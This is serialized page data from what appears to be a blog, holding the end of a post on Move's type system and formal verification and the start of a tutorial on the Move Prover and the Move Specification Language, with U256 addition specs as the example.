\u003C",{"type":22,"tag":101,"props":12728,"children":12729},{"style":126},[12730],{"type":27,"value":12494},{"type":22,"tag":101,"props":12732,"children":12733},{"style":120},[12734],{"type":27,"value":2510},{"type":22,"tag":101,"props":12736,"children":12737},{"class":103,"line":1118},[12738],{"type":22,"tag":101,"props":12739,"children":12740},{"style":120},[12741],{"type":27,"value":12742}," }) {\n",{"type":22,"tag":101,"props":12744,"children":12745},{"class":103,"line":1158},[12746,12751,12755,12760],{"type":22,"tag":101,"props":12747,"children":12748},{"style":120},[12749],{"type":27,"value":12750}," vector",{"type":22,"tag":101,"props":12752,"children":12753},{"style":166},[12754],{"type":27,"value":970},{"type":22,"tag":101,"props":12756,"children":12757},{"style":926},[12758],{"type":27,"value":12759},"push_back",{"type":22,"tag":101,"props":12761,"children":12762},{"style":120},[12763],{"type":27,"value":1850},{"type":22,"tag":101,"props":12765,"children":12766},{"class":103,"line":1166},[12767,12772,12776,12780],{"type":22,"tag":101,"props":12768,"children":12769},{"style":166},[12770],{"type":27,"value":12771}," &",{"type":22,"tag":101,"props":12773,"children":12774},{"style":108},[12775],{"type":27,"value":7760},{"type":22,"tag":101,"props":12777,"children":12778},{"style":126},[12779],{"type":27,"value":12430},{"type":22,"tag":101,"props":12781,"children":12782},{"style":120},[12783],{"type":27,"value":179},{"type":22,"tag":101,"props":12785,"children":12786},{"class":103,"line":1215},[12787,12792,12796,12801,12805,12810,12814,12818,12822,12827,12831,12836,12840,12845,12850,12855,12859,12863,12867,12872,12876,12880],{"type":22,"tag":101,"props":12788,"children":12789},{"style":120},[12790],{"type":27,"value":12791}," (",{"type":22,"tag":101,"props":12793,"children":12794},{"style":166},[12795],{"type":27,"value":8615},{"type":22,"tag":101,"props":12797,"children":12798},{"style":120},[12799],{"type":27,"value":12800},"vector",{"type":22,"tag":101,"props":12802,"children":12803},{"style":166},[12804],{"type":27,"value":970},{"type":22,"tag":101,"props":12806,"children":12807},{"style":926},[12808],{"type":27,"value":12809},"borrow",{"type":22,"tag":101,"props":12811,"children":12812},{"style":120},[12813],{"type":27,"value":980},{"type":22,"tag":101,"props":12815,"children":12816},{"style":166},[12817],{"type":27,"value":985},{"type":22,"tag":101,"props":12819,"children":12820},{"style":126},[12821],{"type":27,"value":12376},{"type":22,"tag":101,"props":12823,"children":12824},{"style":120},[12825],{"type":27,"value":12826},", (",{"type":22,"tag":101,"props":12828,"children":12829},{"style":126},[12830],{"type":27,"value":7774},{"type":22,"tag":101,"props":12832,"children":12833},{"style":108},[12834],{"type":27,"value":12835}," as",{"type":22,"tag":101,"props":12837,"children":12838},{"style":114},[12839],{"type":27,"value":174},{"type":22,"tag":101,"props":12841,"children":12842},{"style":120},[12843],{"type":27,"value":12844},")) ",{"type":22,"tag":101,"props":12846,"children":12847},{"style":108},[12848],{"type":27,"value":12849},"as",{"type":22,"tag":101,"props":12851,"children":12852},{"style":114},[12853],{"type":27,"value":12854}," u128",{"type":22,"tag":101,"props":12856,"children":12857},{"style":120},[12858],{"type":27,"value":901},{"type":22,"tag":101,"props":12860,"children":12861},{"style":166},[12862],{"type":27,"value":8615},{"type":22,"tag":101,"props":12864,"children":12865},{"style":120},[12866],{"type":27,"value":3603},{"type":22,"tag":101,"props":12868,"children":12869},{"style":126},[12870],{"type":27,"value":12871},"n_coins",{"type":22,"tag":101,"props":12873,"children":12874},{"style":108},[12875],{"type":27,"value":12835},{"type":22,"tag":101,"props":12877,"children":12878},{"style":114},[12879],{"type":27,"value":12854},{"type":22,"tag":101,"props":12881,"children":12882},{"style":120},[12883],{"type":27,"value":2510},{"type":22,"tag":101,"props":12885,"children":12886},{"class":103,"line":2425},[12887],{"type":22,"tag":101,"props":12888,"children":12889},{"style":120},[12890],{"type":27,"value":12891}," );\n",{"type":22,"tag":101,"props":12893,"children":12894},{"class":103,"line":5417},[12895,12900,12904,12908,12912,12916],{"type":22,"tag":101,"props":12896,"children":12897},{"style":126},[12898],{"type":27,"value":12899}," i",{"type":22,"tag":101,"props":12901,"children":12902},{"style":166},[12903],{"type":27,"value":960},{"type":22,"tag":101,"props":12905,"children":12906},{"style":126},[12907],{"type":27,"value":7435},{"type":22,"tag":101,"props":12909,"children":12910},{"style":166},[12911],{"type":27,"value":3643},{"type":22,"tag":101,"props":12913,"children":12914},{"style":1544},[12915],{"type":27,"value":3648},{"type":22,"tag":101,"props":12917,"children":12918},{"style":120},[12919],{"type":27,"value":1520},{"type":22,"tag":101,"props":12921,"children":12922},{"class":103,"line":7714},[12923],{"type":22,"tag":101,"props":12924,"children":12925},{"style":120},[12926],{"type":27,"value":12927}," };\n",{"type":22,"tag":101,"props":12929,"children":12930},{"class":103,"line":7723},[12931,12936],{"type":22,"tag":101,"props":12932,"children":12933},{"style":126},[12934],{"type":27,"value":12935}," spec",{"type":22,"tag":101,"props":12937,"children":12938},{"style":120},[12939],{"type":27,"value":154},{"type":22,"tag":101,"props":12941,"children":12942},{"class":103,"line":7791},[12943,12948,12952,12956,12960],{"type":22,"tag":101,"props":12944,"children":12945},{"style":126},[12946],{"type":27,"value":12947}," assert",{"type":22,"tag":101,"props":12949,"children":12950},{"style":126},[12951],{"type":27,"value":7435},{"type":22,"tag":101,"props":12953,"children":12954},{"style":166},[12955],{"type":27,"value":1541},{"type":22,"tag":101,"props":12957,"children":12958},{"style":126},[12959],{"type":27,"value":12494},{"type":22,"tag":101,"props":12961,"children":12962},{"style":120},[12963],{"type":27,"value":1520},{"type":22,"tag":101,"props":12965,"children":12966},{"class":103,"line":7799},[12967,12971,12975,12979,12983,12987,12991,12995],{"type":22,"tag":101,"props":12968,"children":12969},{"style":126},[12970],{"type":27,"value":12947},{"type":22,"tag":101,"props":12972,"children":12973},{"style":926},[12974],{"type":27,"value":12565},{"type":22,"tag":101,"props":12976,"children":12977},{"style":120},[12978],{"type":27,"value":980},{"type":22,"tag":101,"props":12980,"children":12981},{"style":126},[12982],{"type":27,"value":12376},{"type":22,"tag":101,"props":12984,"children":12985},{"style":120},[12986],{"type":27,"value":901},{"type":22,"tag":101,"props":12988,"children":12989},{"style":166},[12990],{"type":27,"value":4340},{"type":22,"tag":101,"props":12992,"children":12993},{"style":126},[12994],{"type":27,"value":12494},{"type":22,"tag":101,"props":12996,"children":12997},{"style":120},[12998],{"type":27,"value":1520},{"type":22,"tag":101,"props":13000,"children":13001},{"class":103,"line":7829},[13002],{"type":22,"tag":101,"props":13003,"children":13004},{"style":120},[13005],{"type":27,"value":12927},{"type":22,"tag":101,"props":13007,"children":13008},{"class":103,"line":7837},[13009],{"type":22,"tag":101,"props":13010,"children":13011},{"style":126},[13012],{"type":27,"value":13013}," amounts_times_coins\n",{"type":22,"tag":101,"props":13015,"children":13016},{"class":103,"line":7868},[13017],{"type":22,"tag":101,"props":13018,"children":13019},{"style":120},[13020],{"type":27,"value":9908},{"type":22,"tag":101,"props":13022,"children":13023},{"class":103,"line":7876},[13024,13028,13032],{"type":22,"tag":101,"props":13025,"children":13026},{"style":126},[13027],{"type":27,"value":12155},{"type":22,"tag":101,"props":13029,"children":13030},{"style":126},[13031],{"type":27,"value":12367},{"type":22,"tag":101,"props":13033,"children":13034},{"style":120},[13035],{"type":27,"value":154},{"type":22,"tag":101,"props":13037,"children":13038},{"class":103,"line":7936},[13039,13043,13048],{"type":22,"tag":101,"props":13040,"children":13041},{"style":126},[13042],{"type":27,"value":12171},{"type":22,"tag":101,"props":13044,"children":13045},{"style":126},[13046],{"type":27,"value":13047}," opaque",{"type":22,"tag":101,"props":13049,"children":13050},{"style":120},[13051],{"type":27,"value":1520},{"type":22,"tag":101,"props":13053,"children":13055},{"class":103,"line":13054},27,[13056,13061,13066],{"type":22,"tag":101,"props":13057,"children":13058},{"style":126},[13059],{"type":27,"value":13060}," aborts_if",{"type":22,"tag":101,"props":13062,"children":13063},{"style":108},[13064],{"type":27,"value":13065}," false",{"type":22,"tag":101,"props":13067,"children":13068},{"style":120},[13069],{"type":27,"value":1520},{"type":22,"tag":101,"props":13071,"children":13073},{"class":103,"line":13072},28,[13074,13078,13082,13086,13091,13095,13099,13103,13107,13111],{"type":22,"tag":101,"props":13075,"children":13076},{"style":126},[13077],{"type":27,"value":12196},{"type":22,"tag":101,"props":13079,"children":13080},{"style":926},[13081],{"type":27,"value":12565},{"type":22,"tag":101,"props":13083,"children":13084},{"style":120},[13085],{"type":27,"value":980},{"type":22,"tag":101,"props":13087,"children":13088},{"style":126},[13089],{"type":27,"value":13090},"result",{"type":22,"tag":101,"props":13092,"children":13093},{"style":120},[13094],{"type":27,"value":901},{"type":22,"tag":101,"props":13096,"children":13097},{"style":166},[13098],{"type":27,"value":4340},{"type":22,"tag":101,"props":13100,"children":13101},{"style":926},[13102],{"type":27,"value":12565},{"type":22,"tag":101,"props":13104,"children":13105},{"style":120},[13106],{"type":27,"value":980},{"type":22,"tag":101,"props":13108,"children":13109},{"style":126},[13110],{"type":27,"value":12376},{"type":22,"tag":101,"props":13112,"children":13113},{"style":120},[13114],{"type":27,"value":994},{"type":22,"tag":101,"props":13116,"children":13118},{"class":103,"line":13117},29,[13119,13123,13127,13131,13135,13139,13143,13148,13152,13156,13160,13164,13169,13173,13177,13181,13185,13189,13193,13197,13201,13205,13209,13213,13217],{"type":22,"tag":101,"props":13120,"children":13121},{"style":126},[13122],{"type":27,"value":12196},{"type":22,"tag":101,"props":13124,"children":13125},{"style":126},[13126],{"type":27,"value":12625},{"type":22,"tag":101,"props":13128,"children":13129},{"style":126},[13130],{"type":27,"value":12630},{"type":22,"tag":101,"props":13132,"children":13133},{"style":108},[13134],{"type":27,"value":7087},{"type":22,"tag":101,"props":13136,"children":13137},{"style":1544},[13138],{"type":27,"value":1547},{"type":22,"tag":101,"props":13140,"children":13141},{"style":166},[13142],{"type":27,"value":7096},{"type":22,"tag":101,"props":13144,"children":13145},{"style":926},[13146],{"type":27,"value":13147},"len",{"type":22,"tag":101,"props":13149,"children":13150},{"style":120},[13151],{"type":27,"value":980},{"type":22,"tag":101,"props":13153,"children":13154},{"style":126},[13155],{"type":27,"value":12376},{"type":22,"tag":101,"props":13157,"children":13158},{"style":120},[13159],{"type":27,"value":2261},{"type":22,"tag":101,"props":13161,"children":13162},{"style":166},[13163],{"type":27,"value":169},{"type":22,"tag":101,"props":13165,"children":13166},{"style":126},[13167],{"type":27,"value":13168}," result",{"type":22,"tag":101,"props":13170,"children":13171},{"style":120},[13172],{"type":27,"value":2414},{"type":22,"tag":101,"props":13174,"children":13175},{"style":126},[13176],{"type":27,"value":12663},{"type":22,"tag":101,"props":13178,"children":13179},{"style":120},[13180],{"type":27,"value":12668},{"type":22,"tag":101,"props":13182,"children":13183},{"style":166},[13184],{"type":27,"value":4340},{"type":22,"tag":101,"props":13186,"children":13187},{"style":126},[13188],{"type":27,"value":12677},{"type":22,"tag":101,"props":13190,"children":13191},{"style":120},[13192],{"type":27,"value":2414},{"type":22,"tag":101,"props":13194,"children":13195},{"style":126},[13196],{"type":27,"value":12663},{"type":22,"tag":101,"props":13198,"children":13199},{"style":120},[13200],{"type":27,"value":12668},{"type":22,"tag":101,"props":13202,"children":13203},{"style":166},[13204],{"type":27,"value":8615},{"type":22,"tag":101,"props":13206,"children":13207},{"style":926},[13208],{"type":27,"value":12565},{"type":22,"tag":101,"props":13210,"children":13211},{"style":120},[13212],{"type":27,"value":980},{"type":22,"tag":101,"props":13214,"children":13215},{"style":126},[13216],{"type":27,"value":12376},{"type":22,"tag":101,"props":13218,"children":13219},{"style":120},[13220],{"type":27,"value":994},{"type":22,"tag":101,"props":13222,"children":13224},{"class":103,"line":13223},30,[13225],{"type":22,"tag":101,"props":13226,"children":13227},{"style":120},[13228],{"type":27,"value":9908},{"type":22,"tag":53,"props":13230,"children":13231},{"id":9355},[13232],{"type":27,"value":9358},{"type":22,"tag":23,"props":13234,"children":13235},{},[13236],{"type":27,"value":13237},"In this post, we explored implications of Move's type system and formal verification, two powerful features of the Move language that enable safer programming languages.",{"type":22,"tag":23,"props":13239,"children":13240},{},[13241],{"type":27,"value":13242},"While Move as a language is still a language in active development, it shows some exciting features that seem allows developers to create structurally safer programs.",{"type":22,"tag":23,"props":13244,"children":13245},{},[13246,13248,13255],{"type":27,"value":13247},"We're passionate about pushing the edge of what's possible in Move security. If you have any thoughts, or would like to explore an audit, feel free to reach out to me ",{"type":22,"tag":80,"props":13249,"children":13252},{"href":13250,"rel":13251},"https://twitter.com/notdeghost/",[84],[13253],{"type":27,"value":13254},"@notdeghost",{"type":27,"value":231},{"type":22,"tag":6891,"props":13257,"children":13258},{},[13259],{"type":27,"value":6895},{"title":7,"searchDepth":157,"depth":157,"links":13261},[13262,13263,13264],{"id":9802,"depth":157,"text":9805},{"id":11806,"depth":157,"text":11809},{"id":9355,"depth":157,"text":9358},"content:blog:2022-09-06-move-introduction.md","blog/2022-09-06-move-introduction.md","blog/2022-09-06-move-introduction",{"_path":13269,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":13270,"description":13271,"author":9763,"image":13272,"date":13275,"isFeatured":15,"tags":13276,"onBlogPage":15,"body":13279,"_type":6912,"_id":17615,"_source":6914,"_file":17616,"_stem":17617,"_extension":6917},"/blog/2022-09-16-move-prover","The Move Prover: A Guide","A practical guide to the Move Prover - tutorial, case study, and specifications.",{"src":13273,"height":13274,"width":9767},"/posts/move-prover/move-prover-title.jpg",1019,"2022-09-16",[13277,13278],"move","tutorial",{"type":19,"children":13280,"toc":17601},[13281,13300,13312,13318,13323,13328,13333,13342,13347,13361,13366,13372,13377,13391,13396,13531,13544,13549,13570,13602,13613,13618,13623,13633,13646,13989,14003,14021,14066,14079,14098,14270,14275,14280,14305,14310,14911,14923,14935,14940,14954,14959,14972,15012,15017,15049,15054,15059,15072,15457,15484,15691,15696,15708,15944,15949,15957,15976,16323,16328,16485,16490,16497,16511,16517,16522,16527,16533,16546,16778,16784,16789,16809,17076,17081,17087,17099,17104,17118,17124,17160,17260,17281,17287,17292,17297,17549,17554,17572,17576,17581,17586,17597],{"type":22,"tag":23,"props":13282,"children":13283},{},[13284,13286,13291,13293,13298],{"type":27,"value":13285},"Formal verification -- a powerful tool for ",{"type":22,"tag":6961,"props":13287,"children":13288},{},[13289],{"type":27,"value":13290},"proving",{"type":27,"value":13292}," the correctness of your programs. How does it ",{"type":22,"tag":6961,"props":13294,"children":13295},{},[13296],{"type":27,"value":13297},"actually",{"type":27,"value":13299}," work? This blog post will provide practical tips to help you use the Move Prover to its fullest potential, as well as explore a real-world example of how we used formal verification to secure a smart contract.",{"type":22,"tag":23,"props":13301,"children":13302},{},[13303,13305,13310],{"type":27,"value":13304},"At a high level, formal verification allows you to provide a specification for the program. This specification is then checked against symbolic inputs, allowing you to prove that your code follows the specification for ",{"type":22,"tag":6961,"props":13306,"children":13307},{},[13308],{"type":27,"value":13309},"all",{"type":27,"value":13311}," possible inputs.",{"type":22,"tag":53,"props":13313,"children":13315},{"id":13314},"move-prover",[13316],{"type":27,"value":13317},"Move Prover",{"type":22,"tag":23,"props":13319,"children":13320},{},[13321],{"type":27,"value":13322},"The Move Prover is an automated tool that allows developers to formally verify smart contracts written in the Move programming language.",{"type":22,"tag":23,"props":13324,"children":13325},{},[13326],{"type":27,"value":13327},"Move was primarily designed to facilitate automatic verification. Interestingly, the Move Prove operates on the Move bytecode itself, avoiding potential compiler bugs from interfering with prover correctness.",{"type":22,"tag":23,"props":13329,"children":13330},{},[13331],{"type":27,"value":13332},"The architecture of the tool consists of multiple components as illustrated below.",{"type":22,"tag":23,"props":13334,"children":13335},{},[13336],{"type":22,"tag":7959,"props":13337,"children":13341},{"alt":13338,"src":13339,"title":13340},"Move Prover arch","https://i.imgur.com/ti4vkTu.png","Move Prover Architecture",[],{"type":22,"tag":23,"props":13343,"children":13344},{},[13345],{"type":27,"value":13346},"First, the Move prover receives a Move source file (an input) that contains specifications of the intended behavior of the program. Those specifications are then extracted from the annotated source by the Move Parser. Consequently, the tool compiles the source code into Move bytecode which is verified and converted into a prover object model plus the specification system \"blueprint\".",{"type":22,"tag":23,"props":13348,"children":13349},{},[13350,13352,13359],{"type":27,"value":13351},"The model is translated into an intermediate language, called ",{"type":22,"tag":80,"props":13353,"children":13356},{"href":13354,"rel":13355},"https://www.microsoft.com/en-us/research/project/boogie-an-intermediate-verification-language/",[84],[13357],{"type":27,"value":13358},"Boogie",{"type":27,"value":13360},". This Boogie code is then passed to the Boogie verification system which generates the input for the solver using a \"verification condition generation\". The verification condition (VC) is passed to an automated theorem prover (Z3).",{"type":22,"tag":23,"props":13362,"children":13363},{},[13364],{"type":27,"value":13365},"Once the VC is passed to the Z3, the prover checks if the SMT formula is unsatisfiable. If so, it means that the specifications hold. Otherwise, a model that satisfies the conditions is generated and converted back into Boogie format in order to issue a diagnosis report. The diagnosis report is then reverted to a source-level error which parallels a standard compiler error.",{"type":22,"tag":53,"props":13367,"children":13369},{"id":13368},"move-specification-language",[13370],{"type":27,"value":13371},"Move Specification Language",{"type":22,"tag":23,"props":13373,"children":13374},{},[13375],{"type":27,"value":13376},"Move MSL is a subset of the Move Language, which introduces support to statically describe the behavior about the correctness of a program with no implications on production.",{"type":22,"tag":23,"props":13378,"children":13379},{},[13380,13382,13389],{"type":27,"value":13381},"To better understand how to use the MSL, we will use ",{"type":22,"tag":80,"props":13383,"children":13386},{"href":13384,"rel":13385},"https://github.com/pontem-network/u256",[84],[13387],{"type":27,"value":13388},"Pontem's U256 library",{"type":27,"value":13390},", an open source Move library which implements support for U256 numbers, as a case study.",{"type":22,"tag":23,"props":13392,"children":13393},{},[13394],{"type":27,"value":13395},"The U256 number is implemented as a struct which contains 4 u64 numbers.",{"type":22,"tag":91,"props":13397,"children":13399},{"code":13398,"language":95,"meta":7,"className":93,"style":7},"struct U256 has copy, drop, store {\n v0: u64,\n v1: u64,\n v2: u64,\n v3: u64,\n}\n",[13400],{"type":22,"tag":30,"props":13401,"children":13402},{"__ignoreMap":7},[13403,13444,13464,13484,13504,13524],{"type":22,"tag":101,"props":13404,"children":13405},{"class":103,"line":104},[13406,13410,13414,13418,13423,13427,13432,13436,13440],{"type":22,"tag":101,"props":13407,"children":13408},{"style":108},[13409],{"type":27,"value":111},{"type":22,"tag":101,"props":13411,"children":13412},{"style":114},[13413],{"type":27,"value":8775},{"type":22,"tag":101,"props":13415,"children":13416},{"style":126},[13417],{"type":27,"value":1277},{"type":22,"tag":101,"props":13419,"children":13420},{"style":126},[13421],{"type":27,"value":13422}," copy",{"type":22,"tag":101,"props":13424,"children":13425},{"style":120},[13426],{"type":27,"value":758},{"type":22,"tag":101,"props":13428,"children":13429},{"style":126},[13430],{"type":27,"value":13431},"drop",{"type":22,"tag":101,"props":13433,"children":13434},{"style":120},[13435],{"type":27,"value":758},{"type":22,"tag":101,"props":13437,"children":13438},{"style":126},[13439],{"type":27,"value":256},{"type":22,"tag":101,"props":13441,"children":13442},{"style":120},[13443],{"type":27,"value":154},{"type":22,"tag":101,"props":13445,"children":13446},{"class":103,"line":157},[13447,13452,13456,13460],{"type":22,"tag":101,"props":13448,"children":13449},{"style":126},[13450],{"type":27,"value":13451}," v0",{"type":22,"tag":101,"props":13453,"children":13454},{"style":166},[13455],{"type":27,"value":169},{"type":22,"tag":101,"props":13457,"children":13458},{"style":114},[13459],{"type":27,"value":174},{"type":22,"tag":101,"props":13461,"children":13462},{"style":120},[13463],{"type":27,"value":179},{"type":22,"tag":101,"props":13465,"children":13466},{"class":103,"line":182},[13467,13472,13476,13480],{"type":22,"tag":101,"props":13468,"children":13469},{"style":126},[13470],{"type":27,"value":13471}," v1",{"type":22,"tag":101,"props":13473,"children":13474},{"style":166},[13475],{"type":27,"value":169},{"type":22,"tag":101,"props":13477,"children":13478},{"style":114},[13479],{"type":27,"value":174},{"type":22,"tag":101,"props":13481,"children":13482},{"style":120},[13483],{"type":27,"value":179},{"type":22,"tag":101,"props":13485,"children":13486},{"class":103,"line":367},[13487,13492,13496,13500],{"type":22,"tag":101,"props":13488,"children":13489},{"style":126},[13490],{"type":27,"value":13491}," v2",{"type":22,"tag":101,"props":13493,"children":13494},{"style":166},[13495],{"type":27,"value":169},{"type":22,"tag":101,"props":13497,"children":13498},{"style":114},[13499],{"type":27,"value":174},{"type":22,"tag":101,"props":13501,"children":13502},{"style":120},[13503],{"type":27,"value":179},{"type":22,"tag":101,"props":13505,"children":13506},{"class":103,"line":398},[13507,13512,13516,13520],{"type":22,"tag":101,"props":13508,"children":13509},{"style":126},[13510],{"type":27,"value":13511}," v3",{"type":22,"tag":101,"props":13513,"children":13514},{"style":166},[13515],{"type":27,"value":169},{"type":22,"tag":101,"props":13517,"children":13518},{"style":114},[13519],{"type":27,"value":174},{"type":22,"tag":101,"props":13521,"children":13522},{"style":120},[13523],{"type":27,"value":179},{"type":22,"tag":101,"props":13525,"children":13526},{"class":103,"line":428},[13527],{"type":22,"tag":101,"props":13528,"children":13529},{"style":120},[13530],{"type":27,"value":188},{"type":22,"tag":23,"props":13532,"children":13533},{},[13534,13536,13542],{"type":27,"value":13535},"Now, let's consider the ",{"type":22,"tag":30,"props":13537,"children":13539},{"className":13538},[],[13540],{"type":27,"value":13541},"add(a: U256, b: U256): U256",{"type":27,"value":13543}," function. In order to verify the correctness of such a function, it might be useful to verify some of the group axioms, for example: commutativity and associativity.",{"type":22,"tag":23,"props":13545,"children":13546},{},[13547],{"type":27,"value":13548},"Specifications are declared in a specification block, which can be found in Move functions, as module member, or in a different file as a separate specification module.",{"type":22,"tag":23,"props":13550,"children":13551},{},[13552,13554,13560,13562,13569],{"type":27,"value":13553},"For example, if your file is ",{"type":22,"tag":30,"props":13555,"children":13557},{"className":13556},[],[13558],{"type":27,"value":13559},"sources/u256.move",{"type":27,"value":13561},", you can put specifications in ",{"type":22,"tag":80,"props":13563,"children":13566},{"href":13564,"rel":13565},"https://github.com/pontem-network/u256/blob/main/sources/u256.spec.move",[84],[13567],{"type":27,"value":13568},"sources/u256.spec.move",{"type":27,"value":231},{"type":22,"tag":91,"props":13571,"children":13573},{"code":13572,"language":95,"meta":7,"className":93,"style":7},"spec add { ... }\n",[13574],{"type":22,"tag":30,"props":13575,"children":13576},{"__ignoreMap":7},[13577],{"type":22,"tag":101,"props":13578,"children":13579},{"class":103,"line":104},[13580,13584,13589,13593,13597],{"type":22,"tag":101,"props":13581,"children":13582},{"style":126},[13583],{"type":27,"value":12284},{"type":22,"tag":101,"props":13585,"children":13586},{"style":126},[13587],{"type":27,"value":13588}," add",{"type":22,"tag":101,"props":13590,"children":13591},{"style":120},[13592],{"type":27,"value":1479},{"type":22,"tag":101,"props":13594,"children":13595},{"style":166},[13596],{"type":27,"value":614},{"type":22,"tag":101,"props":13598,"children":13599},{"style":120},[13600],{"type":27,"value":13601}," }\n",{"type":22,"tag":23,"props":13603,"children":13604},{},[13605,13607,13612],{"type":27,"value":13606},"The specifications placed inside the specification blocks are considered ",{"type":22,"tag":6961,"props":13608,"children":13609},{},[13610],{"type":27,"value":13611},"Expressions",{"type":27,"value":231},{"type":22,"tag":1760,"props":13614,"children":13616},{"id":13615},"expressions",[13617],{"type":27,"value":13611},{"type":22,"tag":23,"props":13619,"children":13620},{},[13621],{"type":27,"value":13622},"Let's go over some common expressions.",{"type":22,"tag":23,"props":13624,"children":13625},{},[13626,13631],{"type":22,"tag":30,"props":13627,"children":13629},{"className":13628},[],[13630],{"type":27,"value":12334},{"type":27,"value":13632}," defines when the function can abort. This is especially useful in the context of smart contract development, where an abort would cause the entire transaction to rollback.",{"type":22,"tag":23,"props":13634,"children":13635},{},[13636,13638,13644],{"type":27,"value":13637},"For example, the ",{"type":22,"tag":30,"props":13639,"children":13641},{"className":13640},[],[13642],{"type":27,"value":13643},"add",{"type":27,"value":13645}," function aborts if and only if the U256 addition overflows. Let's put these words into an expression:",{"type":22,"tag":91,"props":13647,"children":13649},{"code":13648,"language":95,"meta":7,"className":93,"style":7},"const P64: u128 = 0x10000000000000000;\n\nspec fun value_of_U256(a: U256): num {\n a.v0 +\n a.v1 * P64 +\n a.v2 * P64 * P64 +\n a.v3 * P64 * P64 * P64\n}\n\nspec add {\n aborts_if value_of_U256(a) + value_of_U256(b) >= P64 * P64 * P64 * P64;\n}\n",[13650],{"type":22,"tag":30,"props":13651,"children":13652},{"__ignoreMap":7},[13653,13687,13694,13743,13765,13794,13831,13872,13879,13886,13901,13982],{"type":22,"tag":101,"props":13654,"children":13655},{"class":103,"line":104},[13656,13661,13666,13670,13674,13678,13683],{"type":22,"tag":101,"props":13657,"children":13658},{"style":108},[13659],{"type":27,"value":13660},"const",{"type":22,"tag":101,"props":13662,"children":13663},{"style":120},[13664],{"type":27,"value":13665}," P64",{"type":22,"tag":101,"props":13667,"children":13668},{"style":166},[13669],{"type":27,"value":169},{"type":22,"tag":101,"props":13671,"children":13672},{"style":114},[13673],{"type":27,"value":12854},{"type":22,"tag":101,"props":13675,"children":13676},{"style":166},[13677],{"type":27,"value":960},{"type":22,"tag":101,"props":13679,"children":13680},{"style":1544},[13681],{"type":27,"value":13682}," 0x10000000000000000",{"type":22,"tag":101,"props":13684,"children":13685},{"style":120},[13686],{"type":27,"value":1520},{"type":22,"tag":101,"props":13688,"children":13689},{"class":103,"line":157},[13690],{"type":22,"tag":101,"props":13691,"children":13692},{"emptyLinePlaceholder":15},[13693],{"type":27,"value":1581},{"type":22,"tag":101,"props":13695,"children":13696},{"class":103,"line":182},[13697,13701,13705,13710,13714,13718,13722,13726,13730,13734,13739],{"type":22,"tag":101,"props":13698,"children":13699},{"style":126},[13700],{"type":27,"value":12284},{"type":22,"tag":101,"props":13702,"children":13703},{"style":126},[13704],{"type":27,"value":826},{"type":22,"tag":101,"props":13706,"children":13707},{"style":926},[13708],{"type":27,"value":13709}," value_of_U256",{"type":22,"tag":101,"props":13711,"children":13712},{"style":120},[13713],{"type":27,"value":980},{"type":22,"tag":101,"props":13715,"children":13716},{"style":126},[13717],{"type":27,"value":80},{"type":22,"tag":101,"props":13719,"children":13720},{"style":166},[13721],{"type":27,"value":169},{"type":22,"tag":101,"props":13723,"children":13724},{"style":114},[13725],{"type":27,"value":8775},{"type":22,"tag":101,"props":13727,"children":13728},{"style":120},[13729],{"type":27,"value":2261},{"type":22,"tag":101,"props":13731,"children":13732},{"style":166},[13733],{"type":27,"value":169},{"type":22,"tag":101,"props":13735,"children":13736},{"style":126},[13737],{"type":27,"value":13738}," num",{"type":22,"tag":101,"props":13740,"children":13741},{"style":120},[13742],{"type":27,"value":154},{"type":22,"tag":101,"props":13744,"children":13745},{"class":103,"line":367},[13746,13751,13755,13760],{"type":22,"tag":101,"props":13747,"children":13748},{"style":126},[13749],{"type":27,"value":13750}," a",{"type":22,"tag":101,"props":13752,"children":13753},{"style":166},[13754],{"type":27,"value":231},{"type":22,"tag":101,"props":13756,"children":13757},{"style":120},[13758],{"type":27,"value":13759},"v0 ",{"type":22,"tag":101,"props":13761,"children":13762},{"style":166},[13763],{"type":27,"value":13764},"+\n",{"type":22,"tag":101,"props":13766,"children":13767},{"class":103,"line":398},[13768,13772,13776,13781,13785,13789],{"type":22,"tag":101,"props":13769,"children":13770},{"style":126},[13771],{"type":27,"value":13750},{"type":22,"tag":101,"props":13773,"children":13774},{"style":166},[13775],{"type":27,"value":231},{"type":22,"tag":101,"props":13777,"children":13778},{"style":120},[13779],{"type":27,"value":13780},"v1 ",{"type":22,"tag":101,"props":13782,"children":13783},{"style":166},[13784],{"type":27,"value":8615},{"type":22,"tag":101,"props":13786,"children":13787},{"style":114},[13788],{"type":27,"value":13665},{"type":22,"tag":101,"props":13790,"children":13791},{"style":166},[13792],{"type":27,"value":13793}," +\n",{"type":22,"tag":101,"props":13795,"children":13796},{"class":103,"line":428},[13797,13801,13805,13810,13814,13818,13823,13827],{"type":22,"tag":101,"props":13798,"children":13799},{"style":126},[13800],{"type":27,"value":13750},{"type":22,"tag":101,"props":13802,"children":13803},{"style":166},[13804],{"type":27,"value":231},{"type":22,"tag":101,"props":13806,"children":13807},{"style":120},[13808],{"type":27,"value":13809},"v2 ",{"type":22,"tag":101,"props":13811,"children":13812},{"style":166},[13813],{"type":27,"value":8615},{"type":22,"tag":101,"props":13815,"children":13816},{"style":114},[13817],{"type":27,"value":13665},{"type":22,"tag":101,"props":13819,"children":13820},{"style":166},[13821],{"type":27,"value":13822}," *",{"type":22,"tag":101,"props":13824,"children":13825},{"style":114},[13826],{"type":27,"value":13665},{"type":22,"tag":101,"props":13828,"children":13829},{"style":166},[13830],{"type":27,"value":13793},{"type":22,"tag":101,"props":13832,"children":13833},{"class":103,"line":997},[13834,13838,13842,13847,13851,13855,13859,13863,13867],{"type":22,"tag":101,"props":13835,"children":13836},{"style":126},[13837],{"type":27,"value":13750},{"type":22,"tag":101,"props":13839,"children":13840},{"style":166},[13841],{"type":27,"value":231},{"type":22,"tag":101,"props":13843,"children":13844},{"style":120},[13845],{"type":27,"value":13846},"v3 ",{"type":22,"tag":101,"props":13848,"children":13849},{"style":166},[13850],{"type":27,"value":8615},{"type":22,"tag":101,"props":13852,"children":13853},{"style":114},[13854],{"type":27,"value":13665},{"type":22,"tag":101,"props":13856,"children":13857},{"style":166},[13858],{"type":27,"value":13822},{"type":22,"tag":101,"props":13860,"children":13861},{"style":114},[13862],{"type":27,"value":13665},{"type":22,"tag":101,"props":13864,"children":13865},{"style":166},[13866],{"type":27,"value":13822},{"type":22,"tag":101,"props":13868,"children":13869},{"style":114},[13870],{"type":27,"value":13871}," 